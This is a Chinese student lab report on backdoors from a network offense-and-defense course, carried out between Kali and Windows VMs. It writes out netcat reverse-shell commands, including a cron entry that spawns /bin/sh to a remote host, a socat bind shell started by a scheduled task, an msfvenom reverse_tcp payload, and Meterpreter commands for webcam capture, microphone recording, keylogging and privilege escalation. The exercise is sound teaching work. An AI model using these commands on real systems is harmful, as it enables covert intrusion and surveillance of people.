20155202 张旭《网络对抗》Exp2 后门原理与实践
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
- 捆绑在软件中
- 注入在可执行文件里
注入在office文件的宏里面
例举你知道的后门如何启动起来(win及linux)的方式?
- 更改名字伪装成其他程序
- Linux可以使用cron启动
Windows下通过任务计划来启动后门程序
Meterpreter有哪些给你映像深刻的功能?
- 获取摄像头权限进行拍照
- 获取麦克风权限进行录音
提升用户权限!!!!!
如何发现自己有系统有没有被安装后门?
- 杀毒软件进行扫描,没做过免杀的直接就能被扫出来
观察进程以及端口,看看有没有异常
常用后门工具实践
Windows获得
Linux Shell
-Windows
:使用ipconfig
指令查看本机IP:
- 使用ncat.exe程序监听本机的
5202端口
: - Kali:使用
nc指令的-e选项
反向连接Windows主机的5202端口: - Windows下成功运行Kali的shell,运行ls指令如下:
- Linux获得Windows Shell
Kali:
ifconfig
查看IP:Kali使用
nc指令监听5202端口
:- Windows:使用
ncat.exe
程序的-e选项项反向连接Kali主机的5202端口: - Kali:运行Windows的
cmd shell
并输入命令执行: 使用
nc
传输数据- Windows下监听
5202
端口: Kali下连接到
Windows
的5202
端口:
建立之后进行文字传输,后面会说道用来传输后门:
实验内容
使用netcat
获取主机操作Shell,cron启动
先在
Windows
系统下,监听5202
端口:
- 在Kali环境下,使用
man crontab
指令查看crontab
命令的帮助文档: crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于
crontab
文件中,以供之后读取和执行。- 用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
在最后一行添加
11 * * * * /bin/netcat 192.168.15.131 4312 -e /bin/sh
,意思是在每个小时的第11分钟反向连接Windows主机的5202端口
,设置成11的原因是我当时的时间是17:10(这样过一会就能看到连接效果了)- 当时间到了17:11时,此时已经获得了
Kali的shell
,可以输入指令
- 使用socat
获取主机操作Shell
, 任务计划启动
基础知识
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
- 在
Windows
系统下,打开控制面板下搜索任务计划就可以开始创建任务,填写任务名称后,新建一个触发器: - 在
操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5202 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;)
,这个命令的作用是把cmd.exe绑定到端口5202,同时把cmd.exe的stderr重定向到stdout上: 创建完成之后,可以
windows+L
锁定计算机让它执行。- 此时,在Kali环境下输入指令
socat - tcp:192.168.43.234:5202
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5202端口,此时可以发现已经成功获得了一个cmd shell
:
使用MSF meterpreter
生成可执行文件,利用ncat或socat
传送到主机并运行获取主机Shell
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.80 LPORT=5202 -f exe > 20155202_backdoor.exe
生成后门程序:- 通过nc指令将生成的后门程序传送到
Windows
主机上 - 在Kali上使用
msfconsole
指令进入msf控制台
,使用监听模块,设置payload
,设置反弹回连的IP和端口: 设置完成后,执行监听:
打开
Windows
上的后门程序:此时Kali上已经获得了
Windows
主机的连接,并且得到了远程控制的shell
:使用
MSF meterpreter
生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权使用
record_mic
指令截获一段音频:
- 使用
webcam_snap
指令可以使用摄像头进行拍照: 使用
webcam stream
指令可以使用摄像头进行录像:
- 使用
screenshot
指令可以进行截屏: 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:
先使用getuid指令查看当前用户,使用
getsystem
指令进行提权,如图所示,提权成功:
实验遇到的问题
虚拟机设置时间时候到-用crontab-e指令编辑一条定时任务,在最后一行添加11 * * * * /bin/netcat 192.168.15.131 4312 -e /bin/sh
, 当时间到了17:11时,此时并没有获得Kali的shell
,不可以输入指令
解决方法:data
kali虚拟机的时间,会发现kali与win7中时间并不相同,然后再用kali中的时间下一分时间即可。
-
实验总结与体会
这次实验总体不难,就是小问题一直频发,而且最后摄像头还是调用不了,不过好多问题都解决了,我还是很开心。在win7系统上重新实现了实验一往kali里注入shellcode,我很开心,同时真切的感觉到现在的互联网环境之恶劣,我以后也应该更加注意保密意识。